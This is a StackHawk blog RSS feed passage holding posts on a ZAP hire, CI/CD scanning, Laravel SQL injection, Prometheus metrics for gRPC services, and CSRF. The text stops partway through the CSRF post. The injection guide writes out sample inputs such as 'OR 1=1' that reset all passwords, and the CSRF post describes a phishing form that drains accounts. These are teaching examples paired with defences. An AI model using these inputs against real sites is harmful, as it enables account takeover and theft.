&lt;/p&gt;&lt;p&gt;We detailed how in order to support software engineers owning appsec, we needed to deliver a product that:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Is simple to &lt;a href=&quot;https://www.stackhawk.com/blog/ci-pipeline-security-bug-testing/&quot;&gt;automate&lt;/a&gt; as part of the CICD pipeline&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Gets out of developer’s way – and only draws their attention to &lt;a href=&quot;https://www.stackhawk.com/blog/appsec-findings-management/&quot;&gt;new and valuable&lt;/a&gt; information&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Integrates with existing development processes and &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/&quot;&gt;tooling&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Our focus on automation was what led us to ZAP as the foundation of our scanning technology. The project Simon founded and contributed to over the past 10 years is the best on the market for automation – which is critical to delivery of AppSec testing in CICD pipelines and the developer-first mission of StackHawk. &lt;/p&gt;&lt;h3&gt;ZAP + StackHawk = Product Fit&lt;/h3&gt;&lt;p&gt;Just before hopping on our first call with Simon, my co-founder Scott tipped me off that I was probably going to want to hire Simon after meeting him. After we shared our product vision, Simon began to share his journey in founding and building ZAP. As a developer, he’d received a pentest that detailed some vulnerabilities in the code he wrote. He then looked for a tool on the market that was built to help developers find security bugs in their code, and when he didn’t find one, he decided to build one – and open source it. &lt;/p&gt;&lt;p&gt;As Simon talked about the challenges he was solving for with ZAP, I wanted to jump through the Zoom call and high-five him! YES!! We are on the same mission. &lt;/p&gt;&lt;p&gt;And at StackHawk we believe we will best deliver on our product by hiring &lt;b&gt;a team that puts the developer experience first&lt;/b&gt;, with empathy for developer workflows and an appreciation for rapid software delivery.&lt;/p&gt;&lt;h3&gt;Simon + StackHawk = Excellent Team Fit&lt;/h3&gt;&lt;p&gt;Lastly, we are thrilled to be in a position to support the Open Source ZAP community. ZAP is the &lt;a href=&quot;https://www.zaproxy.org/blog/2020-04-02-is-zap-the-worlds-most-popular-web-scanner/&quot;&gt;most frequently used&lt;/a&gt; application security scanner on the market. While several developer-first companies like GitHub and GitLab integrate with or leverage Open Source ZAP to provide security scanning to their customers, it is also widely used by the penetration testing community. &lt;/p&gt;&lt;p&gt;At StackHawk we believe there is a ton of opportunity to grow the ZAP community with developer-first insights and capabilities that empower engineering teams to own application security. We are thrilled to be supporting Simon in spending the majority of his time on Open Source ZAP and facilitating growth of the overall community. &lt;/p&gt;&lt;p&gt;At StackHawk we believe that commercialization of Open Source is an “all ships rise” opportunity. By providing capabilities that improve ease of use, enable rapid iteration and fast delivery of quality software, we will have many contributions to provide back to the community that continue to improve the overall project. &lt;/p&gt;&lt;h3&gt;StackHawk + ZAP + Simon = Community Growth&lt;/h3&gt;&lt;p&gt;My co-founders and I warmly welcome Simon to the StackHawk Team. We are excited about the opportunity this presents for StackHawk and the customers we serve, and the overall ZAP community. We would also like to thank the ZAP core contributors that have worked with Simon to grow this project to what it is today – we are excited to get to know you better. Also, thank you to Mozilla for supporting Simon and ZAP over the last several years. &lt;/p&gt;&lt;p&gt;To read more about ZAP and Simon’s journey, &lt;a href=&quot;https://site.test-sh.com/blog/announcing-my-decision-to-join-stackhawk/&quot;&gt;check out his post&lt;/a&gt; about joining the StackHawk team.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk Onboarding #4: StackHawk Application Security Automation in CI/CD]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-onboarding-4-application-security-automation</guid><category><![CDATA[Scanning with StackHawk]]></category><category><![CDATA[Onboarding]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h3&gt;Getting Started with StackHawk&lt;/h3&gt;&lt;p&gt;To help you get started, we have written this onboarding guide with all the tips and tricks about getting up and running with StackHawk. This post covers how to automate your application security testing in CI/CD.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;CI/CD Automation&lt;/h3&gt;&lt;p&gt;Security testing is best automated in your pipeline, helping developers fix any new bugs as close to commit as possible.&lt;/p&gt;&lt;p&gt;Whether on every commit or every pull request, kick off a StackHawk scan as part of your CI/CD pipeline. Thankfully, moving from local scans to CI/CD automation is simple.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Here are a few CI/CD tips:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scan Microservices for Faster Performance:&lt;/b&gt; While our scanner is fast, there is only so much you can do for performance when scanning a monolith or customer facing production application. Whenever possible, we recommend scanning at the microservices layer for faster performance (and typically faster fixes).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Triage Findings for Blocking Mode:&lt;/b&gt; You can configure your pipeline scans in non-blocking or blocking mode. We recommend doing an initial triage of your findings so that you have no new findings showing in terminal output or our web app before instrumenting in blocking mode, allowing you to break build if there are any newly introduced bugs.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Read &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt;our documentation&lt;/a&gt; to get started with automation for your CI/CD provider.&lt;/p&gt;&lt;p&gt;Next Up: tips on integrating StackHawk with the rest of &lt;a href=&quot;https://site.test-sh.com/blog/onboarding-5-stackhawk-software-engineering-integrations/&quot;&gt;your engineering tooling&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;As always, we are here to help at &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;support@stackhawk.com&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Laravel SQL Injection Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/sql-injection-prevention-laravel</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;“With great power comes great responsibility.” —&lt;a href=&quot;https://en.wikipedia.org/wiki/With_great_power_comes_great_responsibility#In_Spider-Man_stories&quot;&gt;Uncle Ben&lt;/a&gt; &lt;/p&gt;&lt;p&gt;As a developer creating apps, you have great power at the tip of your fingers. However, you’re also charged with the responsibility of keeping the data your app stores safe. Structured Query Language (SQL) is a relational database management system for software development. SQL injection is an old and very common security issue in SQL. &lt;/p&gt;&lt;p&gt;In this post, we’ll explain how SQL injection can be carried out on a Laravel app and suggest some prevention techniques. First, we’ll take a look at what SQL injection is. After that, we’ll see some examples of SQL injection in Laravel and ways to prevent them. &lt;/p&gt;&lt;p&gt;It’s possible to feel a false sense of safety while using a framework or tool by assuming that the maintainers of the tool have covered everything security related. Laravel provides many safe ways to work with SQL. However, it’s still worth learning about what’s not covered. Keep reading along to learn about some use cases and features in Laravel that may leave your application exposed to SQL injection. &lt;/p&gt;&lt;p&gt;Before we dive into examples of Laravel SQL injection, let’s take a look at what SQL injection is. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;What Is SQL Injection?&lt;/b&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;A hacker can &lt;b&gt;inject malicious code &lt;/b&gt;and perform even more serious operations on your database.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;First up, we’ll explain SQL injection using a practical example. Say you have a web app that displays a user profile via the following URL: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/profile.php/?user=john.doe&lt;/code&gt;&lt;/p&gt;&lt;p&gt;To fetch data for the current user &lt;b&gt;john.doe&lt;/b&gt;, the following query will be executed: &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In an attempt to perform an SQL injection, a hacker can set the value for the &lt;b&gt;user&lt;/b&gt; parameter to something like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/profile.php/?user=john.doe’ OR 2=2;--&lt;/code&gt;&lt;/p&gt;&lt;p&gt;For the above HTTP request, the following SQL query will be executed: &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above SQL query will always return true since &lt;b&gt;2=2&lt;/b&gt; is always true, and with the &lt;b&gt;OR&lt;/b&gt; keyword, if one side is true, the entire expression will return true. Therefore, the above query will return all rows in the “users” table. This is a typical example of an SQL injection. &lt;/p&gt;&lt;p&gt;With a vulnerability like the one demonstrated above, a hacker can inject malicious code and perform even more serious operations on your database. You can learn more about what SQL injection is, the various kinds of SQL injections, and recommended best practices in this detailed &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;post&lt;/a&gt;. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Laravel SQL Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Laravel&quot;&gt;Laravel&lt;/a&gt; is a free open-source PHP framework. It follows the MVC design pattern and has built-in tools for performing tasks like user authentication, routing, and database operations. &lt;/p&gt;&lt;p&gt;With the help of the &lt;a href=&quot;https://laravel.com/docs/8.x/eloquent&quot;&gt;Eloquent ORM&lt;/a&gt;, you can build a small Laravel app that reads and writes data to an SQL database without writing a single raw SQL query. That is, you don’t need to write queries like &lt;b&gt;“SELECT * FROM table”&lt;/b&gt; to read data from SQL. However, Laravel supports raw SQL query, as your desired task may require raw queries in some cases. &lt;/p&gt;&lt;p&gt;Now let’s look at some examples of Laravel SQL injection and possible ways to prevent attacks. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Example 1: Use of RawMethods&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;RawMethods are Laravel’s neat way of letting developers use raw queries in only specific parts of a database query. Some examples of Laravel’s RawMethods include &lt;b&gt;selectRaw&lt;/b&gt;, &lt;b&gt;whereRaw&lt;/b&gt;, and &lt;b&gt;orderByRaw&lt;/b&gt;. RawMethods, however, are vulnerable to SQL injection, which the &lt;a href=&quot;https://laravel.com/docs/8.x/queries&quot;&gt;official documentation&lt;/a&gt; states in the following sentence: “Remember, Laravel can not guarantee that any query using raw expressions is protected against SQL injection vulnerabilities.” &lt;/p&gt;&lt;p&gt;To demonstrate SQL injection in the &lt;b&gt;whereRaw&lt;/b&gt; RawMethod, let’s take a look at the following code: &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The code sample above should return a single row from the &lt;b&gt;posts&lt;/b&gt; table. Or nothing if no post exists with the &lt;b&gt;id&lt;/b&gt; specified. However, this code has a third unintended behavior. &lt;/p&gt;&lt;p&gt;The value for &lt;b&gt;id&lt;/b&gt; is defined by user input. Let’s look at what happens when a user enters the following value: &lt;/p&gt;&lt;p&gt;&lt;code&gt;https://example.com/post/11 AND 1=1&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The HTTP request above will lead to the execution of the following SQL query: &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The application will return the row with &lt;b&gt;id 11&lt;/b&gt; as expected. This is because &lt;b&gt;1=1&lt;/b&gt; is always true. However, say a hacker changes &lt;b&gt;1=1&lt;/b&gt; to something that’s always false, for example:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This will cause the application to return zero rows or crash. This behavior shows the existence of SQL injection vulnerability in the &lt;b&gt;whereRaw&lt;/b&gt; part of our initial query. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Prevention&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;We recommend anyone using Laravel to &lt;b&gt;avoid raw queries &lt;/b&gt;as much as they can. &lt;/p&gt;&lt;p&gt;Doing so, they can enjoy some of the security features already built in to the framework. But if you must use raw queries, you should ensure you do server-side validation of user inputs. &lt;/p&gt;&lt;p&gt;One way to fix the vulnerability in our example is to validate that the value of &lt;b&gt;id&lt;/b&gt; is an integer. You can do so with the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Another fix is to rewrite the initial query using a parameterized query. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We introduced a &lt;b&gt;?&lt;/b&gt; as a placeholder for the value of &lt;b&gt;id&lt;/b&gt; and provided the actual value for &lt;b&gt;id&lt;/b&gt; as a second parameter for &lt;b&gt;whereRaw&lt;/b&gt;. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Example 2: Use of DB::statement&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;If all you want to do is run a query, Laravel has the &lt;b&gt;DB::statement&lt;/b&gt; method for that. It accepts raw SQL query as a parameter, but it isn’t completely covered by Laravel’s built-in security features. To demonstrate how the &lt;b&gt;DB:statement&lt;/b&gt; works, let’s take a look at the following code: &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above code should change the password for a specific user by updating a correct row in the &lt;b&gt;users&lt;/b&gt; table. However, in a situation where a user inputs “Anybody OR 1=1” as the username and “123456” as the password, a different outcome arises. &lt;/p&gt;&lt;p&gt;The following query will be executed: &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above query will set the password for all users to “123456”. With this type of exploit, a hacker can gain access to multiple user accounts on your website. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Prevention&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;User input validation can help in this case too. In addition, you can use &lt;b&gt;?&lt;/b&gt; as a placeholder for user inputs, then supply the actual values as the second parameter of the &lt;b&gt;DB::statement&lt;/b&gt; method as implemented below: &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Example 3: Error Messages&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Applications built with Laravel may display sensitive information such as database queries during unhandled exceptions. &lt;/p&gt;&lt;p&gt;DB::statement(&amp;quot;SELECT * FROM users WHERE id=&amp;quot;.$id );&lt;/p&gt;&lt;p&gt;The above code will display the following error message in the user’s browser when an invalid &lt;b&gt;id&lt;/b&gt; (non-integer value) is entered: &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;As seen in this screenshot, the error page displays sensitive details about the associated SQL query. This kind of information helps a hacker understand the logic underneath your application and exposes you to potential attacks.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Prevention&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Test your app for this kind of unhandled exception before pushing to production. There’s also a way to completely turn off this type of error reporting in Laravel. We recommend that you turn error reporting off in production. You can still find helpful details about your app crashes and errors in the &lt;a href=&quot;https://laravel.com/docs/8.x/logging#introduction&quot;&gt;Laravel log&lt;/a&gt; files. &lt;/p&gt;&lt;p&gt;To turn in-page error reporting off, open the &lt;b&gt;.env&lt;/b&gt; file and change the value for &lt;b&gt;APP_DEBUG&lt;/b&gt; from &lt;b&gt;true&lt;/b&gt; to &lt;b&gt;false&lt;/b&gt;. The final code should look like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;APP_DEBUG=false&lt;/code&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;To Close Up&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In summary, SQL injection is, unfortunately, a thing in Laravel. But validation of user inputs and parameterized queries can help reduce the risk of SQL injection. &lt;/p&gt;&lt;p&gt;The security of your Laravel application is a continuous process. And we can’t exhaust all the possible vulnerabilities and solutions in a single post. So be sure to always follow best practices and keep your code and tools up to date. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Pius Aboyi. Pius is a mobile and web developer with over 4 years of experience building for the Android platform. He writes code in Java, Kotlin, and PHP. He loves writing about tech and creating how-to tutorials for developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Prometheus Metrics with SpringBoot + GRPC Services]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/prometheus-metrics-with-springboot-and-grpc-services</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[Topher Lamey]]></dc:creator><content:encoded>&lt;p&gt;However, all of our internal services use LogNet’s awesome SpringBoot GRPC library to communicate but there’s no native Micrometer support.  GRPC itself does have internal metrics but they aren’t yet exposed to Spring in that GRPC library.  Since we are a tiny startup with limited resources, we did some simple things to get Micrometer hooked up to our GRPC services for some basic metrics.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Micrometer Setup&lt;/h3&gt;&lt;p&gt;Our Micrometer setup was to include the dependency in our service’s build file:&lt;/p&gt;&lt;p&gt;&lt;code&gt;implementation(&amp;quot;io.micrometer:micrometer-registry-prometheus&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;And since these are internal services, we exposed everything:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then for every service, we have the HTTP endpoints &lt;code&gt;$HOST:$PORT/actuator/metrics&lt;/code&gt; and &lt;code&gt;$HOST:$PORT/actuator/prometheus&lt;/code&gt; available for use.&lt;/p&gt;&lt;h3&gt;Prometheus Configuration&lt;/h3&gt;&lt;p&gt;We run things in Kubernetes, so we first add the following annotations to our service pods to make them discoverable by Prometheus.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And we add the following job to Prometheus Server’s prometheus.yml to discover and scrape pods.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This job is already included by default with the &lt;a href=&quot;https://hub.helm.sh/charts/stable/prometheus&quot;&gt;Prometheus Helm chart&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Method Timings&lt;/h3&gt;&lt;p&gt;We went with the standard Spring/Micrometer generic method timing approach for this.  The upside was that it was trivial to implement, but the downside is that we have to remember to annotate each GRPC method.&lt;/p&gt;&lt;p&gt;In a &lt;code&gt;@Configuration&lt;/code&gt; class, we added a &lt;code&gt;TimedAspect&lt;/code&gt; bean:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And then for every GRPC call, we throw on a &lt;code&gt;@Timed&lt;/code&gt; annotation.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This adds then adds the GRPC method metrics to the Prometheus actuator under the &lt;code&gt;/actuator/prometheus&lt;/code&gt; endpoint:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;With that getting pulled into Prometheus, we can then do things like get the average length per GRPC call using PromQL like so:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Exception Metrics&lt;/h3&gt;&lt;p&gt;For this, we decided to hook in a Micrometer registry counter into our existing generic GRPC exception handler, which lives in an internal shared library that all GRPC services automatically pull in via our &lt;a href=&quot;https://www.stackhawk.com/blog/sharing-dependencies-and-gradle-plugins-between-kotlin-springboot-services/&quot;&gt;common Gradle platform&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;All we did here was to add the &lt;code&gt;MeterRegistry&lt;/code&gt; to the constructor, so it gets set by the Spring context.  Then we use that &lt;code&gt;MeterRegistry&lt;/code&gt; instance to increment a counter with the full class name as a &lt;code&gt;Tag&lt;/code&gt; in the catch block.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then each service gets the context’s MeterRegistry autowired into a config constructor and just sets it on the exception handler bean:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;With those in place, the &lt;code&gt;/actuator/prometheus&lt;/code&gt; endpoint now has a new counter with the full class name of the exception as a tag:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Which in PromQL then lets you do stuff like:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is Cross-Site Request Forgery (CSRF)?]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/what-is-cross-site-request-forgery-csrf</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[Brian Myers]]></dc:creator><content:encoded>&lt;h3&gt;The Basic Idea&lt;/h3&gt;&lt;p&gt;An attacker crafts code to create an HTTP request that, if it were run in the browser of a logged in user, would do something dangerous such as transfer money or delete data. The attacker then finds a way—typically through email—to get the malicious code into a victim’s browser. For example, an attacker might craft code that would change the shipping address on a shopping site. The attacker spams a phishing email to hundreds of thousands of users. If any of the users who open the email happen to be logged into the shopping site, the CSRF attack might redirect their shipments to an address the attacker chose.&lt;/p&gt;&lt;p&gt;The attack works because the victim is already logged in, so the browser already has an authenticated session cookie. When the attacker’s email executes its request, the browser automatically appends to the request all the cookies it has for the shopping site, including the session cookie. The code runs in the context of a user’s legitimate session and performs actions the user does not intend.&lt;/p&gt;&lt;h3&gt;Why CSRF is Bad&lt;/h3&gt;&lt;p&gt;A severe Cross Site Request Forgery (CSRF) vulnerability can produce devastating consequences such as fraudulent financial transactions and account takeover. CSRF vulnerabilities have been found on major sites including &lt;a href=&quot;https://appsecnotes.blogspot.com/2009/01/netflix-csrf-revisited.html&quot;&gt;Netflix&lt;/a&gt;, &lt;a href=&quot;https://people.eecs.berkeley.edu/~daw/teaching/cs261-f11/reading/csrf.pdf&quot;&gt;YouTube&lt;/a&gt;, and the banking web application &lt;a href=&quot;https://people.eecs.berkeley.edu/~daw/teaching/cs261-f11/reading/csrf.pdf&quot;&gt;ING Direct&lt;/a&gt;. Facebook once paid a &lt;a href=&quot;https://ysamm.com/?p=185&quot;&gt;bug bounty of $25,000&lt;/a&gt; for a severe CSRF finding.&lt;/p&gt;&lt;p&gt;The configuration web pages built into home routers can be vulnerable to CSRF. A 2008 &lt;a href=&quot;https://web.archive.org/web/20080207035159/www.webappsec.org/projects/whid/byid_id_2008-05.shtml&quot;&gt;attack against ADSL routers&lt;/a&gt;, for example, changed the router’s entry for a leading bank, causing any subsequent traffic from that router to the bank to pass through the attacker’s server. &lt;a href=&quot;https://nvd.nist.gov/vuln/search/results?form_type=Basic&amp;results_type=overview&amp;query=csrf+router&amp;search_type=all&quot;&gt;A search in the National Vulnerability Database&lt;/a&gt; shows that even in 2021 some router manufacturers still have not learned the lesson.&lt;/p&gt;&lt;p&gt;In 2017 OWASP dropped CSRF from their Top Ten web vulnerabilities list. By that time most major development platforms included CSRF defenses in their frameworks. Nevertheless, as recently as 2020 &lt;a href=&quot;https://www.hackerone.com/blog/organizations-paid-hackers-235-million-these-10-vulnerabilities-one-year-1&quot;&gt;HackerOne still included CSRF&lt;/a&gt; as one of the most lucrative vulnerabilities for pen testers in bug bounty programs.&lt;/p&gt;&lt;h3&gt;Conditions for Attack&lt;/h3&gt;&lt;p&gt;A CSRF attack may be possible whenever the following conditions are present:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;A state-changing request can be performed over HTTP.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The syntax of the state-changing request is predictable.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The browser automatically includes session info in requests.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Most web forms are built to change the state of something somewhere, so most interactive websites meet the first condition.&lt;/p&gt;&lt;p&gt;The syntax of the state-changing request must be predictable for the attacker to forge it. A CSRF attacker blindly pushes code into the user’s browser without being able to see what the user is doing. Typically, the malicious request posts a form, and the attacker must know what name/value pairs to post for the server to accept it without errors.&lt;/p&gt;&lt;p&gt;The third condition has to do with sessions. A system&amp;#39;s session-handling mechanism must automatically include the user’s authentication tokens with each request to be vulnerable. The tokens may be certificates or HTTP basic authentication credentials, but they are often session cookies. The browser always appends to any request all the cookies it has for the target domain, including the session cookie. &lt;/p&gt;&lt;h3&gt;Attack Delivery Mechanisms&lt;/h3&gt;&lt;p&gt;Having once identified a vulnerable system meeting all three conditions, the attacker must then find a way to deliver malicious code to the user’s browser. Concealing the attack code directly in an email may work if the user reads email in a browser. Or the email may contain a link to a site owned by the attacker who has hidden the code in a page on the malicious server. Either way, if the user opens the email (in the first case) or clicks a link in the email (the second case) the attack code reaches the user’s browser—where it may succeed only if the user currently has a valid session open at the target website.&lt;/p&gt;&lt;h4&gt;A POST Attack&lt;/h4&gt;&lt;p&gt;Attacks can easily be executed through a POST request. Suppose an attacker observes a website that lets users send money to others using this (simplified) form:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The attacker opens an account on the BankApp site with the user name @evil. The attacker composes two separate phishing emails. The first pretends to come from BankApp and says “Alert! Potential fraud detected in your BankApp account.” The second says “You may have won $1,000.” The purpose of the first email is to encourage users to log in to BankApp. The second email contains this markup:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The user doesn’t even have to click on anything. This second email submits its form and executes the attack as soon as it renders in the user’s browser. The attacker spams 100,000 users with those two emails. Some of them probably have BankApp accounts. A few of them will open the emails, and from each of those the attacker gets $1000.&lt;/p&gt;&lt;p&gt;Any state change that the server exposes through HTTP could be subject to a forged request. CSRF attacks can change passwords, make social media posts, delete accounts, configure routers, and many other dangerous or destructive operations.&lt;/p&gt;&lt;h4&gt;Other HTTP Verbs&lt;/h4&gt;&lt;p&gt;The BankApp example imagines that you have to POST a form to transfer money. Not all web endpoints are written that way. If the BankApp site allowed transferring money with a GET request, then the attacker’s email might simply do this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;By the time the user sees a broken image tag in the phishing email, the $1000 will be gone.&lt;/p&gt;&lt;p&gt;Other HTTP verbs that change state can also be exploited. Only PATCH, POST, PUT, and DELETE &lt;i&gt;should&lt;/i&gt; allow state changes, but GET, HEAD, and OPTIONS can be vulnerable if they can make changes too.&lt;/p&gt;&lt;h4&gt;Login CSRF&lt;/h4&gt;&lt;p&gt;Do not ignore CSRF warnings on Login pages. At login, even though the user has not yet authenticated, CSRF attacks can still be a threat—though the method and the risks differ from authenticated CSRF. In Login CSRF attacks, the attacker forges a request that logs the user into a site using the &lt;i&gt;attacker’s&lt;/i&gt; login credentials. Victims, believing themselves to have logged in to their own accounts, may leave behind information that the attacker can use. &lt;a href=&quot;https://seclab.stanford.edu/websec/csrf/csrf.pdf&quot;&gt;Login CSRF attacks against Google and Yahoo&lt;/a&gt; could expose the victim’s search history to the attacker. A login attack against a site like PayPal might lure the user to provide credit card information that the attacker could then log in and use.&lt;/p&gt;&lt;h3&gt;Primary Defenses&lt;/h3&gt;&lt;p&gt;CSRF attacks rely on being able to predict the contents of, and so forge, a browser request. The most robust defense against CSRF is to make the contents of each request unpredictable. Token-based defenses rely on a randomly generated value to do just that. &lt;/p&gt;&lt;h4&gt;Synchronizer Token&lt;/h4&gt;&lt;p&gt;To defend itself, a server adds a hidden field to each form, assigning the field a different random value for each session (or for each request.) The server confirms that each subsequent request has this field and that its value matches the one assigned for the session. This is called the &lt;i&gt;synchronizer token pattern&lt;/i&gt;.&lt;/p&gt;&lt;h4&gt;Encrypted Token &lt;/h4&gt;&lt;p&gt;A synchronizer token requires the server to store random session values server side. If you don’t want to keep state on the server, you can instead encrypt the token value using a private key known only on the server. The encrypted value should be a time stamp. Validate subsequent requests by confirming that each contains the hidden field, that you can decrypt the field value, that the decrypted value is a timestamp, and that the timestamp is recent (the token has not expired.)&lt;/p&gt;&lt;h4&gt;Double-Submitted Cookie&lt;/h4&gt;&lt;p&gt;Encrypted tokens are one stateless CSRF defense, and double-submitted cookies are another. In this defense the random token value is saved in a cookie on the client. Every subsequent request must include the same value in a hidden field. On each request the server confirms that the hidden field is present and that its value matches that in the cookie. &lt;/p&gt;&lt;p&gt;For this defense to be reliable you must use HTTPS (which is recommended in any case) and ensure that your subdomains are also secure. &lt;/p&gt;&lt;h4&gt;Anti-CSRF Tokens in AJAX&lt;/h4&gt;&lt;p&gt;AJAX calls take place in the context of a cookie-based browser session and can also be vulnerable to CSRF. AJAX calls generally do not post forms where you can place a hidden field. Instead, return the CSRF token to the server in a custom AJAX header.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Replace &lt;code&gt;&lt;i&gt;tokenname&lt;/i&gt;&lt;/code&gt; and &lt;code&gt;&lt;i&gt;tokenvalue&lt;/i&gt;&lt;/code&gt; with the name and value of the hidden random token field in the page that generates the AJAX request.&lt;/p&gt;&lt;p&gt;Using a custom HTTP header is a defense because only JavaScript can create custom headers, and the browser’s single-origin policy (SOP) blocks cross-site JavaScript calls.&lt;/p&gt;&lt;h3&gt;Framework-Based Defenses&lt;/h3&gt;&lt;p&gt;Many programming frameworks such as &lt;a 